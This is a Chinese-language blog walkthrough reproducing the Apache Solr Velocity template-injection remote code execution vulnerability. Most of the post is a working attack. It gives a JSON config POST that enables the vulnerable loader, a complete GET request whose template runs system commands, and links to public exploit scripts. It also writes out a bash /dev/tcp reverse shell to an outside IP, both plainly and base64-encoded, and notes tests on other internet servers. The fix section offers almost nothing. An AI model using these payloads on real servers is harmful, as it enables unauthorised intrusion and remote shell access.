Apache Solr Velocity模版注入遠程命令執行漏洞複線

  • 2019 年 11 月 5 日
  • 筆記

0X01 漏洞概述

Apache Solr 是一個開源的搜索服務器。Solr使用Java語言開發,主要基於HTTP和ApacheLucene 實現。原理大致是文檔通過Http利用XML加到一個搜索集合中。查詢該集合也是通過 http收到一個XML/JSON響應來實現。

10月31日,安全研究員S00pY在GitHub發佈了ApacheSolr Velocity模版注入遠程命令執行的POC,經過其他安全團隊和人員的驗證和複線,此漏洞已經能夠被批量利用。

0X02 環境搭建

方法一:下載源碼

https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/

解壓之後,不能直接啟動,需要配置java環境變量,可參考之前的文章或者自行度娘。創建實例:

sudo ./solr create_core -c alice -d../example/example-DIH/solr/db –force

然後,啟動環境

瀏覽器訪問環境

http://172.16.1.137:8983/solr/#/

要獲取相應的實例的路徑,單擊左側的Core Admin即可知道相應的實例。

每個實例下都有相應的config配置信息,可以直接訪問查看

http://172.16.1.137:8983/solr/alice/config

訪問config文件,Post提交以下數據:

{   "update-queryresponsewriter": {     "startup": "lazy",     "name": "velocity",     "class": "solr.VelocityResponseWriter",      "template.base.dir":"",     "solr.resource.loader.enabled": "true",     "params.resource.loader.enabled": "true"    }  }

這裡要注意,數據格式一定要按照json發送,如果不對的話,很容易返回500或者400的bad request錯誤,如下:

所以,這裡發包的時候,如果不正確,請多嘗試幾次。

方法二:通過docker搭建,可以直接search,方便省事的話,可以直接用vulhub上phith0n寫好的docker拉取,方法按照如下鏈接步驟操作

https://github.com/vulhub/vulhub/tree/master/solr/CVE-2019-0193

這裡不在贅述。完成之後還是像上面一樣bp發送數據修改配置。這樣環境搭建基本完成了。

0X03 漏洞利用

當solr默認插件VelocityResponseWrite中

params.resource.loader.enabled參數值為true(默認false),再通過精心構造的get請求即可RCE。如果存在solr未授權訪問,可post直接修改params.resource.loader.enabled參數值為true。所以,在上一步我們經過post提交數據已經修改了這兩項參數值,所以目前漏洞是可以觸發的。

s00py給出了poc數據,鏈接如下:

https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt

訪問鏈接,執行利用操作

http://172.16.1.137:8983/solr/alice/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

執行結果

github上已經有很多研究人員放出漏洞利用腳本,如下等

https://github.com/theLSA/solr-rce  https://github.com/Eth4nHunt/Apache-Solr-RCE

使用其中一個,即可獲取cmdshell:

在其他互聯網環境的服務器上測試的時候,反彈shell很容易被分割中斷,報錯,命令如下:

bash -i >&/dev/tcp/45.32.2XX.XX/45670 >&1

但由於Runtime不能使用管道符等bash方法,所以需要進行編碼

bash -c{echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzQ1LjMyLjIyMy4zMy80NTY3IDA+JjE=}|{base64,-d}|{bash,-i}

按照phith0n的解釋:

具體詳情解釋參考

https://zsxq.tricking.io/topic/501/

編碼之後,我們再次測試,可以成功獲取shell

0X04 加固修復

官網暫未發佈相關漏洞補丁,及時關注官網更新。

http://lucene.apache.org/solr/downloads.html

0X05 參考鏈接

https://nosec.org/home/detail/3113.html

https://www.anquanke.com/post/id/190039

https://zsxq.tricking.io/topic/501/

https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt

https://github.com/shadow-horse/Apache-Solr-Velocity-RCE